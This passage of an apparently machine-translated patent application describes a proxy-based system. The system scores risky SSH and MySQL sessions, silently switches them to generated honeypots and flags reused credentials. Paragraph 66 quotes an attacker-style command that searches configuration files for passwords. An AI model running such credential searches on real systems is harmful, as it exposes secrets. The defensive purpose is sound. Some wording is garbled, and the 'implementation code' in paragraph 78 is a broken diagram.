[0062] The system layout information corresponding to each asset type is typical environment structure data bound to that asset type. Specifically, this includes: the operating system's default directory structure (e.g., Linux's / usr / local, / var / log, / etc directory levels), the asset's core configuration file path (e.g., MySQL's my.cnf path, Nginx's nginx.conf path), the database's default table structure specifications (e.g., system table names, field type constraints), and file naming rules (e.g., log file timestamp naming format). This is implemented by having a built-in asset type-system layout mapping library in the proxy node. This mapping library is pre-built based on industry-standard practices, mainstream system configuration specifications, and real-world enterprise environment characteristics. Once an asset type is identified, the mapping library is automatically matched, and the corresponding system layout data is extracted. The purpose of this system layout data is to provide environmental structure constraints for the generated model, ensuring that the generated simulated resources (e.g., directories, files, table structures) are consistent with the real layout of that type of asset, thus improving the realism of the first honeypot environment.

[0063] In one possible implementation, if the real environment data content cannot be spoofed or desensitized based on preset conversion rules, the proxy node, after obtaining the real environment data, first matches a subset of desensitization rules and performs desensitization processing on the sensitive information therein; then, based on the characteristics of the processed non-sensitive data, matches a subset of spoofing rules and generates spoofed data through template replacement, format application, and other methods.

[0064] The triggering conditions for determining that conversion cannot be performed based on preset conversion rules include at least the following: the data belongs to a type not covered by the rules (such as complex output corresponding to long-tail commands, personalized file content with non-fixed formats, and non-standardized result sets generated by nested queries); the data format exceeds the scope of rule processing (such as free text without fixed templates, complex directory traversal results with varied structures); and the de-identification rules cannot accurately identify sensitive information (such as specially encoded keys and business-sensitive data with custom formats). This triggering condition is determined automatically by the rule matching module of the proxy node, using feature comparison and format verification to confirm whether a model call is triggered. When the rule matching module determines that the preset rules cannot be used, the proxy node will activate a preset generation model (such as a large language model adapted to the scenario or a dedicated generation model, such as a specialized generation model for system command output, SQL query results, and file content) through its built-in model call interface.

[0065] The calling process of the generative model is as follows: the proxy node first preprocesses the input data (such as extracting the core features of the data, such as data type, format requirements, semantic association, etc.), then passes the preprocessed feature data into the generative model, and configures the generative model's generation parameters (such as the fidelity threshold, output format constraints, data length limits, etc.) to trigger the generative model's generation calculation.

[0066] Then, based on access behavior characteristics and the environmental information associated with client sessions, the generation model receives the access behavior characteristics and environmental information, and learns the format specifications, semantic logic, and interaction style of real-world data to generate fake resource content that is highly consistent with the real environment. For example, for the long-tail command `find / -name "*.conf"|xargsgrep "password"`, the generation model combines Linux system layout information and historical command output styles to generate system output containing fake configuration file paths and fake keyword matching results; for the non-standardized results of complex SQL queries, the generation model combines the asset type characteristics of the MySQL database and historical query fields to generate a consistent and reasonable simulated result set. The generated simulated resource content is transmitted to the first honeypot environment in real time to respond to subsequent client requests, ensuring the realism of the interaction after seamless client interaction.

[0067] The seamless honeypot attraction method provided in this application, if the real environment data content cannot be spoofed or de-identified based on preset conversion rules, calls a generation model and generates corresponding simulated resource content based on access behavior characteristics and the environmental basic information associated with the client session. The environmental basic information includes at least one of the following: access context information established by the client session, asset type information accessed by the client session, and system layout information corresponding to the asset type.

[0068] When real-world data content cannot be spoofed or de-identified using preset conversion rules, a generation model will be automatically invoked. Based on the client's access behavior characteristics and the environmental information associated with the client session, simulated resource content adapted to the current access scenario will be dynamically generated. Therefore, this application effectively solves the pain point of insufficient coverage of complex data and long-tail scenarios by preset rules. Through the synergistic empowerment of the generation model and environmental information, it ensures both the consistency of format and interaction between the simulated resource content and the real environment, while avoiding insufficient honeypot realism due to data conversion failures. This ensures that attackers receive the expected feedback when performing various operations, further enhancing the deceptive effect of seamless manipulation, while mitigating the compliance risks of real sensitive data leakage.

[0069] Figure 5 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Four .like Figure 5 As shown, the above method also includes: S510: Record the credential characteristics used by the client session during the initial authentication phase.

[0070] The initial authentication phase is the stage where a preset protocol authentication is completed within the proxy channel when the client session is initially established. This preset protocol authentication corresponds to the dedicated authentication protocol of the backend service and can be selected according to the actual situation, such as key authentication / password authentication for SSH service, account and password authentication for MySQL service, and multi-factor authentication for zero-trust gateway.

[0071] In one possible implementation, during the initial authentication phase, the proxy node, acting as the communication hub between the client and the backend service, intercepts all authentication interaction data packets and extracts the credential features used by the client for identity verification through protocol parsing technology. These credential features include at least: account name, plaintext / encrypted password digest, authentication key (such as SSH private key fingerprint), multi-factor authentication token, and other information that can uniquely identify the identity.

[0072] It should be noted that the process of extracting credential features does not affect the normal progress of the authentication process; it only passively collects and records authentication data.

[0073] S520: When a client session is switched to the first honeypot environment, the credentials are marked as high-risk credentials and stored.

[0074] Among them, high-risk credentials are those associated with the operation of switching to the first honeypot environment. That is, the session to which they belong is pulled to the first honeypot environment due to attack behavior (such as executing sensitive probe commands or abnormal operation tracks). The credential characteristics themselves are directly bound to the risky session and have the risk attribute that they may have been leaked or abused by attackers.

[0075] In one possible implementation, when a client session is switched to the first honeypot environment, the high-risk credential (including complete credential feature information) is stored in a dedicated high-risk credential database or cache module. The storage process must retain the complete association information of the credential (such as the associated session ID, the timestamp of the initial authentication stage, the corresponding backend asset type, etc.) to provide a queryable data foundation for risk monitoring of subsequent new sessions.

[0076] S530. If the credential characteristics used by a new session are detected to match high-risk credentials, the new session is redirected to a honeypot environment.

[0077] In one possible implementation, when a new client session initiates an access request, during the initial authentication phase of the new session, the credential characteristics used are extracted synchronously (using the same extraction method as historical sessions, intercepting authentication data packets and parsing the protocol through a proxy channel). Subsequently, the newly extracted credential characteristics are precisely compared with those stored in a high-risk credential database. The comparison dimensions include the core identifier fields of the credential (such as username and password combinations, username and key fingerprint combinations, etc., ensuring uniqueness of the match). If the two are completely identical or the core fields match (i.e., the new session uses credentials already marked as high-risk), a session redirection process is triggered. This redirection process is implemented in the same way as the switching logic for historical high-risk sessions: without interrupting the transport layer connection between the client and the proxy node, and without changing the client's interactive experience, the proxy node internally switches the forwarding target of the new session seamlessly from the real backend service to a preset or dynamically generated honeypot environment (which can be the same as the first honeypot environment of the historical session, or dynamically allocated according to the access asset type of the new session), ultimately achieving the protection goal of high-risk credential reuse and redirection.

[0078] For example, the implementation code is as follows: subgraph s2["credentials and session profiling mechanism"] direction TB P1["Record session credentials and behavioral profiles"] P2["Generate a high-risk credential profile"] P3["Cross-host detection of similar credential sessions"] Prioritize traction to honeypots"] End A(("Client")) --> B["Bastion Host / Zero Trust Gateway Proxy Channel"] B -->C["Protocol Decoding and Command Acquisition Module"] (Get SSH / MySQL commands and execution results) C -->D["Command Analysis and Risk Identification Engine"] (Identifying high-risk conversations) D -- Low Risk --> E ["Normal proxy forwarding to the real backend service"] D -- High Risk --> F F -->G["Seamless Traction Module"] (Internal agent switching of backend binding to honeypot instance) G -->H["Honeypot Interaction and Auditing Module"] (Record attack behavior and generate intelligence) F1 --> F2 F2 --> F3 F3 -->F P1 -->P2 P2 -->P3 D -.->P1 H -.->P2 F1@{ shape: rect} F2@{ shape: rect} F3@{ shape: rect} F@{ shape: rect} P1@{ shape: rect} P2@{ shape: rect} P3@{ shape: rect} B@{ shape: rect} C@{ shape: rect} D@{ shape: rect} E@{ shape: rect} G@{ shape: rect} H@{ shape: rect} The seamless honeypot redirection method provided in this application records the credential characteristics used by a client session during the initial authentication phase, laying a data foundation for the accurate identification and tracing of subsequent risky credentials. When a client session is switched to the first honeypot environment, the credential characteristics are marked as high-risk credentials and stored to achieve targeted marking and retention of risky credentials, preventing repeated misuse. If the credential characteristics used by a new session match those of a high-risk credential, the new session is redirected to a honeypot environment, and the complex risk assessment process is repeated. This not only blocks secondary attacks using high-risk credentials from the source, improving the proactive defense against attacks that reuse risky credentials, but also reduces interference with normal business sessions and improves operational security and efficiency through risky credential matching and targeted redirection.

[0079] Optionally, the above method guides the new session to a honeypot environment, including: Before the behavioral risk assessment of a new session meets the first preset traction condition, the new session will be routed to a honeypot environment.

[0080] In one possible implementation, before the behavioral risk assessment of a new session meets the first preset traction condition, the agent node, immediately after the new session is established, initiates the dynamic generation of the honeypot environment based on basic environmental information (such as session context, asset type, and common system layout). This involves preserving non-sensitive characteristics of the real environment (such as data format and field types) through desensitization processing, while simultaneously constructing a highly realistic directory structure (such as ` / usr / local / conf`, ` / var / log`), file content (including fake logs and configuration parameters), and database table structure and data (matching the field naming and data distribution characteristics of real assets) using spoofing techniques. Secondly, to ensure the honeypot environment's... To ensure the integrity of the honeypot, the proxy node sets a preset processing delay for client session requests and responses during the routing process. This delay can be dynamically adjusted according to the complexity of honeypot generation, ensuring that core steps such as directory construction and command feedback impersonation are completed, avoiding attacker detection due to incomplete environment generation. Then, before the behavioral risk assessment of the new session meets the first preset redirection condition, the proxy node temporarily routes all request and response traffic of the client session to the aforementioned pre-generated honeypot environment. During the routing process, the continuity of the session connection is maintained, and the client does not need to perform any additional operations. The feedback it receives when executing commands and querying data (such as command output format, error message text, and query result style) is highly consistent with the real environment. In essence, this routing is a seamless temporary routing.

[0081] The seamless honeypot redirection method provided in this application, after a new session initiates remote access, the proxy node conducts a dynamic behavioral risk assessment based on the session's associated environmental information, initial authentication credential characteristics, and real-time operational behavior. Before the assessment result meets the first preset redirection condition, the new session is preferentially routed to a preset honeypot environment through the proxy channel. Therefore, this application can prevent new sessions from directly accessing the real business environment before the behavioral risk assessment is completed or before the redirection threshold is reached. This not only reserves sufficient time for feature analysis during the risk assessment process, ensuring the objectivity and accuracy of the assessment results, but also allows for isolated observation of session behavior through the honeypot environment, effectively blocking potential malicious access attempts and attacks on real assets. Furthermore, relying on the highly realistic interactive characteristics of the honeypot, it ensures that the new session access experience is free of obvious anomalies.

[0082] Optionally, the above method guides the new session to a honeypot environment, including: Apply the second preset traction condition to the new session.

[0083] The second preset traction condition can be selected according to the actual situation. For example, the second preset traction condition includes at least: risk feature matching rules, risk scoring thresholds, and legality verification standards.

[0084] In one possible implementation, at the initial stage of a new session, the proxy node automatically invokes the second preset traction condition to load it into the real-time processing flow of the new session. This ensures that all access behavior data generated during the interaction process of the new session can be correlated and verified in real time with the judgment criteria of the second preset traction condition, thereby achieving full-process coverage of the new session by the second traction condition and providing a basis for judgment for subsequent risk assessment and session guidance.

[0085] When the behavioral risk assessment of a new session meets the second preset traction condition, the new session will be guided to a honeypot environment.

[0086] The second preset redirection condition has a wider range than the first preset redirection condition. The first preset redirection condition can be used to intercept known high-risk attacks, while the second preset redirection condition can be used to cover potential risks, ensuring that all suspicious sessions can be redirected to a honeypot environment. This avoids protection gaps due to missed risk features and guarantees the realism of the honeypot and a seamless user experience for the client under a wide range of redirection.

[0087] In one possible implementation, when the behavioral risk assessment of a new session meets the second preset traction condition, the proxy node initiates a seamless forwarding mechanism after determining that the result meets the second preset traction condition. This means maintaining the connection between the client and the proxy node without interruption to ensure a seamless switch. Simultaneously, based on the basic environmental information of the new session (such as the asset type being accessed being a Linux server and the system layout being a conventional enterprise intranet architecture), it dynamically selects a pre-configured general honeypot environment or triggers the generation of a temporary adaptive honeypot environment. Subsequently, all subsequent requests of the new session (such as command input, data queries, etc.) are forwarded to the honeypot environment through the proxy channel. After receiving the request, the honeypot environment returns a realistic response consistent with the real environment (such as a directory structure matching the system layout, file content conforming to the asset type, and complex output of the corresponding command, etc.). Ultimately, this achieves a seamless transition of the new session from the proxy channel to the honeypot environment, and the client is unaware of the environment switch.

[0088] The seamless honeypot redirection method provided in this application applies a second preset redirection condition to new sessions. When the behavioral risk assessment result of a new session meets the second preset redirection condition, the new session is redirected to a honeypot environment. Furthermore, since the scope of the second preset redirection condition is set larger than that of the first preset redirection condition, it can cover more edge session scenarios with potential risks that have not reached the trigger threshold of the first preset redirection condition. This not only effectively expands the dimensions of risk session identification and interception, strengthening the proactive protection capability against covert and low-intensity risky behaviors, but also balances the accuracy and comprehensiveness of protection through a hierarchical redirection strategy, avoiding risk escape problems caused by overly narrow redirection conditions, and further improving the overall network environment's security protection closed-loop effect.

[0089] Optionally, before generating the first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence, the above method further includes: Within the proxy channel, the forwarding of access requests to client sessions is delayed.

[0090] In one possible implementation, within the proxy channel, after the client successfully establishes a session with the proxy node, the access request (such as an SSH connection request, a MySQL query request, etc.) sent by the client to the target backend service will first be captured by the request receiving module of the proxy node. At this time, the proxy node will not immediately forward the request to the backend service, but will trigger the built-in delay control module to temporarily cache or wait for the access request by setting a fixed duration (such as 500ms or 1s) or dynamically adjusting the duration (such as calculating the required time in real time according to the generation complexity and resource allocation of the first honeypot environment). For example, proxy nodes can prevent requests from immediately entering the forwarding process by starting timer counting and temporarily storing requests in a dedicated buffer queue. During this period, the generation progress of the first honeypot environment will be continuously monitored (such as image loading completion, network configuration readiness, and simulated service startup status). Only after the delay period expires or the honeypot environment is detected to be fully generated and available will the forwarding module of the proxy node forward the cached access requests to the deployed first honeypot environment, ensuring that the client's access requests can be effectively received and responded to by the honeypot environment, and avoiding request failure or exposure of the real backend service due to incomplete honeypot generation.

[0091] It should be noted that the implementation of delayed forwarding relies on the proxy node's full lifecycle control of requests within the channel (such as receiving-caching-timing-forwarding). Its direct purpose is to reserve sufficient time window for the generation of the first honeypot environment (including a series of preparatory actions such as image pulling, configuration loading, service startup, network mapping, etc.), ensuring that the honeypot environment is deployed before the client request arrives, while not affecting the normal establishment of the client session, thus achieving seamless connection between delayed operation and honeypot deployment.

[0092] The seamless honeypot redirection method provided in this application delays the forwarding of client session access requests within the proxy channel. By reserving sufficient time for the dynamic generation of the first honeypot environment, it ensures that the core simulation elements of the first honeypot environment, such as directory structure, file content, and interactive response logic, can be fully constructed. This effectively avoids session interruption or insufficient realism caused by untimely generation of the first honeypot environment, thereby ensuring the technical effect of seamlessly redirecting the client to the first honeypot environment and enabling continuous capture and analysis of attack behaviors.

[0093] Based on the same inventive concept, this application also provides a non-sensory honey pot traction device. Since the principle of the device in this application is similar to the non-sensory honey pot traction method described above in this application, the implementation of the device can refer to the implementation of the method, and the repeated parts will not be described again.

[0094] Figure 6 This is a schematic diagram of a non-sensory honeypot traction device provided in an embodiment of this application. Figure 6 As shown, the unobtrusive honeypot traction device 600 is used in network security equipment and includes: The acquisition module 601 is used to acquire and record the interaction sequence corresponding to the client session within the proxy channel of the target network security device. The interaction sequence includes: the command or query statement sent by the client, and the execution result corresponding to the command or query statement. Assessment module 602 is used to assess the behavioral risks of client sessions based on interaction sequences; The generation module 603 is used to generate a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence if the result of the behavior risk assessment meets the first preset traction condition; the first preset traction condition is used to determine whether to guide the client session to the first honeypot environment. The switching module 604 is used to switch the backend service corresponding to the client session from the real service to the first honeypot environment while maintaining the network connection between the client session and the target network security device without interruption, so as to forward the access requests of the client session to the first honeypot environment for processing.

[0095] In one possible implementation, the evaluation module 602 is specifically used to: match the interaction sequence with a preset attack behavior pattern to obtain a matching result; the preset attack behavior pattern includes at least: a command pattern that continuously executes multiple attack behavior characteristics within a preset time period and / or an abnormal query pattern that initiates multiple different backend services with similar structure or intent; and based on the matching result, to perform a behavioral risk assessment on the client session to obtain the behavioral risk level of the client session.

[0096] In one possible implementation, the generation module 603 is specifically used for: constructing an initial honeypot environment framework; obtaining access behavior characteristics of the client session based on the interaction sequence; the access behavior characteristics include at least: a directory structure list, file-type resources, a database table structure, query statements, and query result data; constructing corresponding simulated resources in the initial honeypot environment framework based on the access behavior characteristics; and generating a first honeypot environment based on the simulated resources.

[0097] In one possible implementation, the generation module 603 is specifically used to: parse the corresponding real environment data content from the access behavior characteristics; and, within the initial honeypot environment framework, perform spoofing or desensitization conversion on the real environment data content based on preset conversion rules to generate corresponding simulated resources.

[0098] In one possible implementation, the generation module 603 is further configured to: if the real environment data content cannot be spoofed or desensitized based on the preset conversion rules, call the generation model and generate corresponding simulated resource content based on the access behavior characteristics and the environmental basic information associated with the client session; wherein, the environmental basic information includes at least one of the following: access context information established by the client session, asset type information accessed by the client session, and system layout information corresponding to the asset type.

[0099] In one possible implementation, the seamless honeypot traction device 600 is specifically used to: record the credential characteristics used by the client session during the initial authentication phase; the initial authentication phase is the phase in which a preset protocol authentication is completed within the proxy channel when the client session is initially established; when the client session is switched to the first honeypot environment, the credential characteristics are marked as high-risk credentials and stored; the high-risk credentials are credentials associated with the operation of switching to the first honeypot environment; if it is detected that the credential characteristics used by a new session match the high-risk credentials, the new session is guided to a honeypot environment.

[0100] In one possible implementation, the honeypot traction device 600 is specifically used to route a new session to a honeypot environment before the result of the behavioral risk assessment of the new session meets a first preset traction condition.

[0101] In one possible embodiment, the honeypot traction device 600 is specifically used to: apply a second preset traction condition to a new session; when the result of the behavioral risk assessment of the new session meets the second preset traction condition, guide the new session to a honeypot environment; wherein the range of the second preset traction condition is greater than the range of the first preset traction condition.

[0102] In one possible implementation, the generation module 603 is further configured to: delay the forwarding of access requests to client sessions within the proxy channel.

[0103] It should be noted that for details not disclosed in the non-sensory honey pot traction device of this application embodiment, please refer to the details disclosed in the non-sensory honey pot traction method of this application embodiment, which will not be repeated here.

[0104] These modules can be one or more integrated circuits configured to implement the above methods, such as one or more Application Specific Integrated Circuits (ASICs), one or more microprocessors, or one or more Field Programmable Gate Arrays (FPGAs). Alternatively, when a module is implemented using processing element scheduler code, the processing element can be a general-purpose processor, such as a Central Processing Unit (CPU) or other processor capable of calling program code. Furthermore, these modules can be integrated together as a system-on-a-chip (SOC).

[0105] Optionally, embodiments of this application also provide a computer-readable storage medium storing a computer program. When the computer program is executed by a processor, the processor performs the steps of the seamless honeypot traction method for mobile storage media described in the above embodiments. The specific implementation and technical effects are similar and will not be repeated here.

[0106] Optionally, this embodiment also provides a computer program product that, when run on a computer, causes the computer to perform the aforementioned related steps to implement the non-sensory honeypot traction method provided in the above embodiment.

[0107] In this embodiment, the device, computer-readable storage medium, computer program product, or chip are all used to execute the corresponding methods provided above. Therefore, the beneficial effects they can achieve can be referred to the beneficial effects in the corresponding methods provided above, and will not be repeated here.

[0108] The above description is merely a specific embodiment of this application, but the scope of protection of this application is not limited thereto. Any variations or substitutions that can be easily conceived by those skilled in the art within the scope of the technology disclosed in this application should be included within the scope of protection of this application. Therefore, the scope of protection of this application should be determined by the scope of the claims.

Claims

1. A method for attracting honeypots without irritation, characterized in that, Applied to network security devices, including: Within the proxy channel of the target network security device, the interaction sequence corresponding to the client session is acquired and recorded. The interaction sequence includes: the command or query statement sent by the client, and the execution result corresponding to the command or query statement. Based on the interaction sequence, a behavioral risk assessment is performed on the client session; If the result of the behavioral risk assessment meets the first preset traction condition, then a first honeypot environment is generated based on the access behavior characteristics of the client session corresponding to the interaction sequence; the first preset traction condition is used to determine whether to guide the client session to the first honeypot environment. While maintaining uninterrupted network connection between the client session and the target network security device, the backend service corresponding to the client session is switched from the real service to the first honeypot environment, so as to forward the access request of the client session to the first honeypot environment for processing.

2. The method according to claim 1, characterized in that, The step of assessing the behavioral risk of the client session based on the interaction sequence includes: The interaction sequence and the preset attack behavior pattern are matched to obtain the matching result; the preset attack behavior pattern includes at least: a command pattern that continuously executes multiple attack behavior characteristics within a preset time period and / or an abnormal query pattern that initiates similar structures or intentions to multiple different backend services. Based on the matching results, a behavioral risk assessment is performed on the client session to obtain the behavioral risk level of the client session.

3. The method according to claim 1, characterized in that, The process of generating a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence includes: Construct the initial honeypot environment framework; Based on the interaction sequence, the access behavior characteristics of the client session are obtained; the access behavior characteristics include at least: directory structure list, file resources, database table structure, query statement, and query result data; Based on the access behavior characteristics, corresponding simulated resources are constructed in the initial honeypot environment framework; Based on the simulated resources, a first honeypot environment is generated.

4. The method according to claim 3, characterized in that, The construction of corresponding simulated resources in the initial honeypot environment framework based on the access behavior characteristics includes: The corresponding real-world data content is extracted from the access behavior characteristics; Within the initial honeypot environment framework, based on preset conversion rules, the real environment data content is either spoofed or desensitized to generate the corresponding simulated resources.

5. The method according to claim 4, characterized in that, The method further includes: If the real environment data content cannot be spoofed or desensitized based on the preset conversion rules, the generation model is invoked, and corresponding simulated resource content is generated based on the access behavior characteristics and the environmental basic information associated with the client session. The environmental basic information includes at least one of the following: the access context information of the established client session, the asset type information accessed by the client session, and the system layout information corresponding to the asset type.

6. The method according to claim 1, characterized in that, The method further includes: Record the credential characteristics used by the client session during the initial authentication phase; the initial authentication phase is the phase in which the client session is initially established and the preset protocol authentication is completed within the proxy channel. When the client session is switched to the first honeypot environment, the credential characteristics are marked as high-risk credentials and stored; the high-risk credentials are credentials associated with the operation of switching to the first honeypot environment. If the credential characteristics used by a new session match those of the high-risk credential, the new session is redirected to a honeypot environment.

7. The method according to claim 6, characterized in that, The step of directing the new session to a honeypot environment includes: Before the result of the behavioral risk assessment of the new session meets the first preset traction condition, the new session is routed to a honeypot environment.

8. The method according to claim 6, characterized in that, The step of directing the new session to a honeypot environment includes: Apply a second preset traction condition to the new session; When the result of the behavioral risk assessment of the new session meets the second preset traction condition, the new session will be guided to the honeypot environment; The range of the second preset traction condition is greater than the range of the first preset traction condition.

9. The method according to claim 1, characterized in that, Before generating the first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence, the method further includes: Within the proxy channel, the forwarding of access requests to the client session is delayed.

10. A network security device, characterized in that, The network security device includes: Memory, used to store executable program code; A processor for calling and running the executable program code from the memory, causing the network security device to perform the method as described in any one of claims 1 to 9.

Images